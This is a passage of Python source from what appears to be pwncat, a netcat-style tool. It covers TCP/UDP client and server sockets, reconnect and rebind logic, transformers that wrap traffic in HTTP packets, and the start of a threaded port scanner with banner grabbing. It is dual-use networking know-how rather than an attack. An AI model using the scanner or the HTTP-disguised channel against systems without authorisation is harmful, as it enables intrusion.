self.__log.debug( "Trying to send %d bytes to %s:%d", size - send, self.__active["remote_addr"], self.__active["remote_port"], ) self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", curr, self.__active["remote_addr"], self.__active["remote_port"], size - send, ) except (IOError, OSError, socket.error) as error: msg = "Socket send Error: {}".format(error) raise socket.error(msg) return send def receive(self): # type: () -> bytes """Receive and return data from the connected (TCP) or unconnected (UDP) socket. Returns: bytes: Returns received data from connected (TCP) or unconnected (UDP) socket. Raises: socket.timeout: Except here to do an action when the socket is not busy. AttributeError: Except here when current instance has closed itself (Ctrl+c). socket.error: Except here when unconnected or connection was forcibly closed. EOFError: Except here when upstream has closed the connection via EOF. """ # This is required for a UDP server that has no connected clients yet # and is waiting for data receival for the first time on either IPv4 or IPv6 # to finally determine which of those two we're going to use and which # of them we will remove after succesfull connect. try: conns = select.select( [self.__conns[af]["conn"] for af in self.__conns if "conn" in self.__conns[af]], [], [], self.__options.recv_timeout, )[ 0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) except (ValueError, AttributeError) as error: msg = "Connection was closed by self: [1]: {}".format(error) self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do # between timeouts (e.g.: check signals, etc) raise socket.timeout("timed out") # type: ignore # We should always only have one active socket on which we receive data. assert len(conns) == 1 conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) except AttributeError as error: msg = "Connection was closed by self: [2]: {}".format(error) self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed # [Errno 107] Transport endpoint is not connected # [Errno 10054] An existing connection was forcibly closed by the remote host # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. if not data: msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) # [4/5] (UDP Server mode only) # 1.) The UDP server is only able to send data, if a client has sent data first, # as we do not do a connect() phase for UDP and therefore do not know its remote # addr/port before. See send() function for a blocking loop. # 2.) Additionally, we will always update its IP/port values to distinguish # the same connected client between a new/different connected client. if self.__udp_mode_server: # UDP client connects for the first time if not self.__active: self.__log.info( "Client connected: %s:%d (family %d/%s, UDP)", addr[0], addr[1], int(conn.family), self.__sock.get_family_name(conn.family), ) # A different UDP client connects elif self.__active["remote_addr"] != addr[0] or self.__active["remote_port"] != addr[1]: self.__log.info( "New client connected: %s:%d (family %d/%s, UDP)", addr[0], addr[1], int(conn.family), self.__sock.get_family_name(conn.family), ) # Set currently active UDP connection socket self.__active = { "af": conn.family, "conn": conn, "remote_addr": addr[0], "remote_port": addr[1], } # [5/5] We have data to process self.__log.debug( "Received %d bytes from %s:%d", len(data), self.__active["remote_addr"], self.__active["remote_port"], ) self.__log.trace("Received: %s", repr(data)) # type: ignore return data # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def run_client(self, host, port): # type: (str, int) -> bool """Run and create a TCP or UDP client and connect to a remote peer. Args: addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand). port (int): Port of the server to connect to. Returns: bool: Returns `True` on success and `False` on failure. """ # The connection dictionary. conns = {} # type: Dict[int, SockConn] # [1/4] Add sockets to connection dictionary succ = 0 for family in self.__families: try: conns[family] = { "conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, True, self.__options.ip_tos, ) } succ += 1 except socket.error: pass if succ == 0: return False # [2/4] Resolve address remove = [] errors = [] # NOTE: We're still looping over the initial family list # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order) for family in self.__families: if family in conns: try: conns[family]["remote_host"] = host conns[family]["remote_addr"] = self.__sock.gethostbyname( host, family, not self.__options.nodns ) conns[family]["remote_port"] = port except socket.gaierror as err: remove.append(family) errors.append(str(err)) for family in remove: self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family)) del conns[family] if not conns: for error in errors: self.__log.error("Resolve Error: %s", error) return False # [3/4] Connect remove = [] errors = [] # NOTE: We're still looping over the initial family list # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order) for family in self.__families: if family in conns: try: self.__sock.connect( conns[family]["conn"], conns[family]["remote_addr"], conns[family]["remote_port"], self.__options.src_addr, self.__options.src_port, self.__options.udp_sconnect, self.__enc.encode(self.__options.udp_sconnect_word), self.__options.bufsize, ) # On successful connect, we can abandon/remove all other sockets remove = [key for key in conns if key != family] break except (OSError, socket.error) as err: remove.append(family) errors.append(str(err)) for family in remove: self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family)) del conns[family] if not conns: for error in errors: self.__log.error(error) return False # [4/4] Store connections and set active connection assert len(conns) == 1 for family in conns: self.__active = { "af": family, "conn": conns[family]["conn"], "remote_addr": conns[family]["remote_addr"], "remote_port": conns[family]["remote_port"], } # Store sockets as a list self.__conns = conns # Print socket info for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info): self.__log.info("[%s] %s", self.__sock.get_family_name(family), info) return True def run_server(self, host, port): # type: (Optional[str], int) -> bool # TODO: Integrate: --rebind(-wait|-robin) """Run and create a TCP or UDP listening server and wait for a client to connect. Args: addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand). port (int): Port of the address to bind to. Returns: bool: Returns `True` on success and `False` on failure. """ # The connection dictionary. conns = {} # type: Dict[int, SockConn] # [1/4] Create socket succ = 0 for family in self.__families: try: conns[family] = { "sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, True, self.__options.ip_tos, ) } succ += 1 except socket.error as err: self.__log.debug(err) if succ == 0: self.__log.error("Socket Error: Could not create any socket.") return False # [2/4] Resolve local address remove = {} for family in conns: try: conns[family]["local_addr"] = self.__sock.gethostbyname( host, family, not self.__options.nodns ) conns[family]["local_host"] = host conns[family]["local_port"] = port except socket.gaierror as err: remove[family] = str(err) for family in remove: self.__log.debug( "Removing (family %d/%s) due to: %s", family, self.__sock.get_family_name(family), remove[family], ) self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) del conns[family] if not conns: self.__log.error("Resolve Error: Could not resolve any hostname") return False # [3/4] Bind socket remove = {} for family in conns: try: self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port) except socket.error as err: remove[family] = str(err) for family in remove: self.__log.debug( "Removing (family %d/%s) due to: %s", family, self.__sock.get_family_name(family), remove[family], ) self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) del conns[family] if not conns: self.__log.error("Bind Error: Could not bind any socket") return False # [UDP 4/4] There is no listen or accept for UDP if self.__options.udp: for family in conns: conns[family]["conn"] = conns[family]["sock"] self.__log.info( "Listening on %s:%d (family %d/%s, UDP)", conns[family]["local_addr"], conns[family]["local_port"], family, self.__sock.get_family_name(family), ) self.__conns = conns self.__udp_mode_server = True return True # [TCP 4/4] Requires listen and accept # (1/3) Listen remove = {} for family in conns: try: self.__sock.listen(conns[family]["sock"], self.__options.backlog) self.__log.info( "Listening on %s:%d (family %d/%s, TCP)", conns[family]["local_addr"], conns[family]["local_port"], family, self.__sock.get_family_name(family), ) except socket.error as err: remove[family] = str(err) for family in remove: self.__log.debug( "Removing (family %d/%s) due to: %s", family, self.__sock.get_family_name(family), remove[family], ) self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) del conns[family] if not conns: self.__log.error("Could not listen on any address") return False # (2/3) Accept remove = {} try: conn, client = self.__sock.accept( [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: remove = {family: str(err) for family in conns} # On error, remove all bind sockets for family in remove: self.__log.debug( "Removing (family %d/%s) due to: %s", family, self.__sock.get_family_name(family), remove[family], ) self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) del conns[family] if not conns: return False # (3/3) Store connections for family in conns: if "conn" in conns[family]: self.__active = { "af": family, "conn": conns[family]["conn"], "remote_addr": conns[family]["remote_addr"], "remote_port": conns[family]["remote_port"], } for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info): self.__log.info("[%s] %s", self.__sock.get_family_name(family), info) self.__conns = conns return True def re_accept_client(self): # type: () -> bool """Re-accept new clients, if connection is somehow closed or accept did not work. Returns: bool: Returns `True` on success and `False` and error. """ # [1/3] Close and remove all previous conn sockets self.close_conn_sock() for family in self.__conns: if "conn" in self.__conns[family]: del self.__conns[family]["conn"] # [2/3] Accept try: conn, client = self.__sock.accept( [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False self.__conns[conn.family]["conn"] = conn self.__conns[conn.family]["remote_addr"] = client[0] self.__conns[conn.family]["remote_port"] = client[1] # Update active connection socket self.__active = { "af": conn.family, "conn": conn, "remote_addr": client[0], "remote_port": client[1], } return True def close_bind_sock(self): # type: () -> None """Close the bind socket used by the server to accept clients.""" for family in self.__conns: if "sock" in self.__conns[family]: self.__sock.close(self.__conns[family]["sock"], "sock") def close_conn_sock(self): # type: () -> None """Close the communication socket used for send and receive.""" for family in self.__conns: if "conn" in self.__conns[family]: self.__sock.close(self.__conns[family]["conn"], "conn") # ################################################################################################# # ################################################################################################# # ### # ### 5 / 11 T R A N S F O R M E R # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [5/11 TRANSFORM]: (1/5): Transform # ------------------------------------------------------------------------------------------------- class Transform(ABC): # type: ignore """Abstract class to for pwncat I/O transformers. This is a skeleton that defines how the transformer for pwncat should look like. """ # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def log(self): # type: () -> logging.Logger """`TraceLogger`: Logger instance.""" return self.__log # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- @abstractmethod def __init__(self): # type: () -> None """Set specific options for this transformer.""" super(Transform, self).__init__() self.__log = logging.getLogger(__name__) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- @abstractmethod def transform(self, data): # type: (bytes) -> bytes """Implement a transformer function which transforms a string.. Args: data (bytes): data to be transformed. Returns: bytes: The transformed string. """ # ------------------------------------------------------------------------------------------------- # [5/11 TRANSFORM]: (2/5) TransformLinefeed # ------------------------------------------------------------------------------------------------- class TransformLinefeed(Transform): """Implement basic linefeed replacement.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, opts): # type: (DsTransformLinefeed) -> None """Set specific options for this transformer. Args: opts (DsTransformLinefeed): Transformer options. """ super(TransformLinefeed, self).__init__() self.__opts = opts # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def transform(self, data): # type: (bytes) -> bytes """Transform linefeeds to CRLF, LF or CR if requested. Returns: str: The string with altered linefeeds. """ # 'auto' keep it as it is if self.__opts.crlf is None: return data # ? -> No line feeds if self.__opts.crlf == "no": if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") return data[:-1] + StringEncoder.encode("\r\n") if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") return data[:-2] + StringEncoder.encode("\n") if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") return data[:-2] + StringEncoder.encode("\r") if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data # ------------------------------------------------------------------------------------------------- # [5/11 TRANSFORM]: (3/5) TransformSafeword # ------------------------------------------------------------------------------------------------- class TransformSafeword(Transform): """Implement a trigger to emergency shutdown upon receival of a specific safeword.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, opts): # type: (DsTransformSafeword) -> None """Set specific options for this transformer. Args: opts (DsTransformLinefeed): Transformer options. """ super(TransformSafeword, self).__init__() self.__opts = opts self.__log = logging.getLogger(__name__) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def transform(self, data): # type: (bytes) -> bytes """Raise a stop signal upon receiving the safeword. Returns: str: The string as it is without changes """ if StringEncoder.encode(self.__opts.safeword) in data: self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform") # type: ignore self.__opts.ssig.raise_terminate() return data # ------------------------------------------------------------------------------------------------- # [5/11 TRANSFORM]: (4/5) TransformHttpPack # ------------------------------------------------------------------------------------------------- class TransformHttpPack(Transform): """Implement a transformation to pack data into HTTP packets.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, opts): # type: (Dict[str, str]) -> None """Set specific options for this transformer. Args: opts (DsTransformLinefeed): Transformer options. """ super(TransformHttpPack, self).__init__() self.__opts = opts self.__log = logging.getLogger(__name__) assert "reply" in opts assert opts["reply"] in ["request", "response"] # Initial default header self.__headers = [ "Accept-Charset: utf-8", ] self.__response_headers_sent = False # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def transform(self, data): # type: (bytes) -> bytes """Wrap data into a HTTP packet. Returns: bytes: The wrapped string. """ request_header = [ "POST / HTTP/1.1", "Host: {}".format(self.__opts["host"]), "User-Agent: pwncat", "Accept: */*", "Conent-Length: {}".format(len(data)), "Content-Type: text/plain; charset=UTF-8", ] response_header = [ "HTTP/1.1 200 OK", "Date: {}".format(self.__get_date()), "Server: pwncat", "Conent-Length: {}".format(len(data)), "Connection: close", ] self.__response_headers_sent = True if self.__opts["reply"] == "request": header = StringEncoder.encode( "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n" ) else: header = StringEncoder.encode( "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n" ) return header + data # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- def __get_date(self): # pylint: disable=no-self-use # type: () -> str now = datetime.utcnow() weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()] month = [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", ][now.month - 1] return "%s, %02d %s %04d %02d:%02d:%02d GMT" % ( weekday, now.day, month, now.year, now.hour, now.minute, now.second, ) # ------------------------------------------------------------------------------------------------- # [5/11 TRANSFORM]: (5/5) TransformHttpUnpack # ------------------------------------------------------------------------------------------------- class TransformHttpUnpack(Transform): """Implement a transformation to unpack data from HTTP packets.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, opts): # type: (Dict[str, str]) -> None """Set specific options for this transformer. Args: opts (DsTransformLinefeed): Transformer options. """ super(TransformHttpUnpack, self).__init__() self.__opts = opts self.__log = logging.getLogger(__name__) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def transform(self, data): # type: (bytes) -> bytes """Unwrap data from a HTTP packet. Returns: str: The wrapped string. """ request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)") response = StringEncoder.encode(r"^HTTP/[.0-9]+") # Did not receive a valid HTTP request, so we return the original untransformed message if not (re.match(request, data) or re.match(response, data)): return data body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)") match = re.search(body, data) # Check if we can separate headers and body if match is None or len(match.group()) < 2: return data return match.group(2) # ################################################################################################# # ################################################################################################# # ### # ### 6 / 11 I O M O D U L E S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [6/11 IO]: (1/5): IO # ------------------------------------------------------------------------------------------------- class IO(ABC): # type: ignore """Abstract class to for pwncat I/O modules. This is a skeleton that defines how the I/O module for pwncat should look like. The "producer" should constantly yield data received from some sort of input which could be user input, output from a shell command data from a socket. The "callback" will apply some sort of action on the data received from a producer which could be output to stdout, send it to the shell or to a socket. "The "interrupts" are a list of funtions that trigger the producer to stop and return to its parent thread/function. The producer must also be implemented in a way that it is able to act on the event which the "interrupt" func emitted. """ # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def ssig(self): # type: () -> InterruptHandler """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig @property def log(self): # type: () -> logging.Logger """`TraceLogger`: Logger instance.""" return self.__log # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- @abstractmethod def __init__(self, ssig): # type: (InterruptHandler) -> None """Set specific options for this IO module. Args: ssig (InterruptHandler): InterruptHandler instance used by the interrupter. """ super(IO, self).__init__() self.__ssig = ssig self.__log = logging.getLogger(__name__) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- @abstractmethod def producer(self, *args, **kwargs): # type: (Any, Any) -> Iterator[bytes] """Implement a generator function which constantly yields data. The data could be from various sources such as: received from a socket, received from user input, received from shell command output or anything else. Yields: str: Data generated/produced by this function. """ @abstractmethod def consumer(self, data): # type: (bytes) -> None """Define a consumer callback which will apply an action on the producer output. Args: data (str): Data retrieved from the producer to work on. """ @abstractmethod def interrupt(self): # type: () -> None """Define an interrupt function which will stop the producer. Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. """ # ------------------------------------------------------------------------------------------------- # [6/11 IONetwork]: (2/5) IONetwork # ------------------------------------------------------------------------------------------------- class IONetwork(IO): """Pwncat implementation based on custom Socket library.""" @property def net(self): # type: () -> Net """Returns instance of Net.""" return self.__net # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__( self, ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str ports, # type: List[int] role, # type: str srv_opts, # type: DsIONetworkSrv cli_opts, # type: DsIONetworkCli sock_opts, # type: DsIONetworkSock ): # type: (...) -> None """Create a Pwncat instance of either a server or a client. Args: ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. ports ([int]): List of ports to connect to or listen on. role (str): Either "server" or "client". srv_opts (DsIONetworkSrv): Options for the server. cli_opts (DsIONetworkCli): Options for the client. sock_opts (DsIONetworkSock): Options to parse back to Sock. """ assert role in ["server", "client"], "The role must be 'server' or 'client'." super(IONetwork, self).__init__(ssig) self.__role = role self.__net = Net(encoder, ssig, sock_opts) self.__sock_opts = sock_opts self.__srv_opts = srv_opts self.__cli_opts = cli_opts # Did we already run cleanup self.__cleaned_up = False # Internally store addresses for reconn or rebind functions self.__host = host self.__ports = ports self.__pport = 0 # pointer to the current port if role == "server": if not self.__net.run_server(self.__host, self.__ports[self.__pport]): if not self.__server_rebind(): sys.exit(1) if role == "client": if not self.__net.run_client(self.__host, self.__ports[self.__pport]): if not self.__client_reconnect_to_server(): sys.exit(1) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): # type: (Any, Any) -> Iterator[bytes] """Network receive generator which hooks into the receive function and adds features. Yields: str: Data received from a connected socket. """ # Counter for receive retries once this side of the program # shuts down (e.g.: Ctrl+c) as there could be data left on the wire. curr_recv_timeout_retry = 0 # Loop endlessly and yield data back to the caller while True: # [1/3] Generate data try: yield self.__net.receive() # [2/3] Non-blocking socket is finished receiving data and allows us to do some action except socket.timeout as err: # Check if we close the socket for sending if self.ssig.has_sock_send_eof(): self.log.trace( # type: ignore "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err ) self.__net.send_eof() # Let's ask the interrupter() function if we should terminate? if not self.ssig.has_sock_quit(): continue # Stop signal is raied when my own side of the network was closed. # Happened most likely that the user pressed Ctrl+c # Before quitting, we will check x many times, if there is still # data left to receive, before shutting down. if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry: self.log.trace( # type: ignore "Final socket read: %d/%d before quitting.", curr_recv_timeout_retry + 1, self.__sock_opts.recv_timeout_retry, ) curr_recv_timeout_retry += 1 continue # We ware all done reading, shut down self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err ) self.__cleanup() return # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar) except (EOFError, AttributeError, socket.error) as err: # Do we have a stop signal? if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err ) self.__cleanup() return # Do we re-accept new clients? if self.__sock_opts.udp: # Always accept new clients or reconnect in UDP mode (its stateless) continue if self.__role == "server" and self.__server_reaccept_from_client(): continue if self.__role == "client" and self.__client_reconnect_to_server(): continue # Inform everybody that we are quitting self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer") # type: ignore self.ssig.raise_sock_eof() def consumer(self, data): # type: (bytes) -> None """Send data to a socket.""" try: self.__net.send(data) except socket.error: pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt") # type: ignore self.ssig.raise_sock_quit() self.__cleanup() # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- def __cleanup(self): # type: () -> None """Cleanup function.""" if not self.__cleaned_up: self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore self.__net.close_conn_sock() self.__net.close_bind_sock() self.__cleaned_up = True def __client_reconnect_to_server(self): # type: () -> bool """Ensure the client re-connects to the remote server, if the remote server hang up. Returns: bool: Returns `True` on success and `False` on failure or stop signal requested. """ assert self.__role == "client", "This should have been caught during arg check." # reconn < 0 (endlessly) # reconn > 0 (reconnect until counter reaches zero) while self.__cli_opts.reconn != 0: # [1/6] Let's ask the interrupter() function if we should terminate? # We need a little wait here in order for the stop signal to propagate. # Don't know how fast the other threads are. if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]" ) return False # [2/6] Wait time.sleep(self.__cli_opts.reconn_wait) # [3/6] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/5] # we will check again here. if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]" ) return False # [4/6] Increment the port numer (if --reconn-robin has multiple) self.__pport += 1 if self.__pport == len(self.__ports): self.__pport = 0 if self.__cli_opts.reconn > 0: self.log.info( "Reconnecting to %s:%d in %.1f sec (%d more times left)", self.__host, self.__ports[self.__pport], self.__cli_opts.reconn_wait, self.__cli_opts.reconn, ) else: self.log.info( "Reconnecting to %s:%d in %.1f sec (indefinitely)", self.__host, self.__ports[self.__pport], self.__cli_opts.reconn_wait, ) # [5/6] Decrease reconnect counter if self.__cli_opts.reconn > 0: self.__cli_opts.reconn -= 1 # [6/6] Recurse until True or reconnect count is used up if self.__net.run_client(self.__host, self.__ports[self.__pport]): return True # [5/5] Signal failure self.log.info("Reconnect count is used up. Shutting down.") return False def __server_rebind(self): # type: () -> bool # rebind < 0 (endlessly) # rebind > 0 (rebind until counter reaches zero) while self.__srv_opts.rebind != 0: # [1/7] Let's ask the interrupter() function if we should terminate? if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]" ) return False # [2/7] Increment the port numer (if --reconn-robin has multiple) self.__pport += 1 if self.__pport == len(self.__ports): self.__pport = 0 # [3/7] Notify user if self.__srv_opts.rebind > 0: self.log.info( "Rebinding to port %d in %.1f sec (%d more times left)", self.__ports[self.__pport], self.__srv_opts.rebind_wait, self.__srv_opts.rebind, ) else: self.log.info( "Rebinding to port %d in %.1f sec (indefinitely)", self.__ports[self.__pport], self.__srv_opts.rebind_wait, ) # [4/7] Decrease reconnect counter if self.__srv_opts.rebind > 0: self.__srv_opts.rebind -= 1 # [5/7] Wait (--rebind-wait) time.sleep(self.__srv_opts.rebind_wait) # [6/7] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/7] # we will check again here. if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]" ) return False # [6/7] Recurse until True or reconnect count is used up if self.__net.run_server(self.__host, self.__ports[self.__pport]): return True # [7/7] Nope self.log.info("Rebind count is used up. Shutting down.") return False def __server_reaccept_from_client(self): # type: () -> bool """Ensure the server is able to keep connection open by re-accepting new clients. Returns: bool: True on success and False on failure """ # Do not re-accept for UDP assert not self.__sock_opts.udp, "This should have been caught during arg check." assert self.__role == "server", "This should have been caught during arg check." # [NO] Do not re-accept if not self.__srv_opts.keep_open: self.log.info("No automatic re-accept specified. Shutting down.") return False # [MAYBE] Check stop signal and otherwise try until success. while True: time.sleep(0.01) # [NO] We have a stop signal if self.ssig.has_sock_quit(): self.log.trace( # type: ignore "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client" ) return False # [YES] Re-accept indefinitely self.log.info("Re-accepting new clients") if self.__net.re_accept_client(): return True # ------------------------------------------------------------------------------------------------- # [6/11 IONetwork]: (3/5) IONetwork # ------------------------------------------------------------------------------------------------- class IONetworkScanner(IO): """Pwncat Scanner implementation based on custom Socket library.""" BANNER_PAYLOADS = { # 0 is for generic ones, which do not have a custom port definition already 0: [ None, # This means to not send anything, but receive first "", "\0", "\r", "\n", "\r\n", "HEAD /\r\n\r\n", ], } # Common regexes BANNER_REG = [ r"Server:\s*(.*)", # extract webserver from header r"(.*[0-9][-.0-9]*.*)", # generic version string ] # Compiled versions of common regexes BANNER_REG_COMP = [] # type: List[re.Pattern[str]] # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__( self, ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str banner, # type: bool cli_opts, # type: DsIONetworkCli sock_opts, # type: DsIONetworkSock ): # type: (...) -> None """Create a Pwncat Network Scanner instance. Args: ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. banner (bool): Determines if we do banner grabbing as well. cli_opts (DsIONetworkCli): Options for the client. sock_opts (DsIONetworkSock): Options to parse back to Sock. """ super(IONetworkScanner, self).__init__(ssig) self.__ssig = ssig self.__enc = encoder self.__cli_opts = cli_opts self.__sock_opts = sock_opts self.__banner = banner self.__log = logging.getLogger(__name__) self.__sock = Sock() self.__screen_lock = threading.Semaphore() # Keep track of local binds (addr-port) of the threaded scanner # clients as we do not want to treat them as open ports (false posistives) self.__local_binds = {} # type: Dict[str, socket.socket] # Compile our regexes if using banner detection if banner: for reg in self.BANNER_REG: self.BANNER_REG_COMP.append(re.compile(reg, re.IGNORECASE)) # Get numerical IP addresses for IPv4 and/or IPv6 if self.__sock_opts.ipv6: families = [int(socket.AF_INET6)] elif self.__sock_opts.ipv4: families = [int(socket.AF_INET)] else: families = [ int(socket.AF_INET6), int(socket.AF_INET), ] self.__targets = {} for family in families: try: self.__targets[family] = self.__sock.gethostbyname( host, family, not self.__sock_opts.nodns ) except socket.gaierror: pass # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def __get_socket(self, family): # type: (Union[socket.AddressFamily, int]) -> socket.socket """Create socket for specific address family endlessly until resources are available.""" # The scanner starts one thread for each port to scan. Each thread will also create # one socket and we might hit the max_allowed_files limit (ulimit). # That's why we loop through creating sockets until we hit a success # as in the meantime, other threads might have already released sockets/fd's. while True: delay = 0.0 if self.__ssig.has_terminate(): self.log.trace( # type: ignore "TERMINATE signal ACK for IONetworkScanner._getsocket" ) raise socket.error("quit") try: if self.__sock_opts.udp: return self.__sock.create_socket(family, socket.SOCK_DGRAM, False) return self.__sock.create_socket(family, socket.SOCK_STREAM, False) except socket.error: delay += 0.1 time.sleep(delay) # This can be bigger to give the system some time to release fd's def __get_banner_version(self, banner): # type: (str) -> Optional[str] """Extract version information from a string.""" if not banner or banner is None: return None # If we only have a single line, return it (all we got) lines = banner.splitlines() if len(lines) == 1: return lines[0] # Version extraction for reg in self.BANNER_REG_COMP: match = re.search(reg, banner) if match: return StringEncoder.rstrip(match.group(1)) # type: ignore # Nothing found, return first non-empty line for line in lines: if line: return line # Nothing found return None def __get_banner(self, sock, addr, port): # type: (socket.socket, str, int) -> Tuple[bool, Optional[str]] """Retrieve the (version) banner from a network service.""" if port in self.BANNER_PAYLOADS: payloads = self.BANNER_PAYLOADS[port] + self.BANNER_PAYLOADS[0] else: payloads = self.BANNER_PAYLOADS[0] for payload in payloads: # Break the loop on terminate signal if 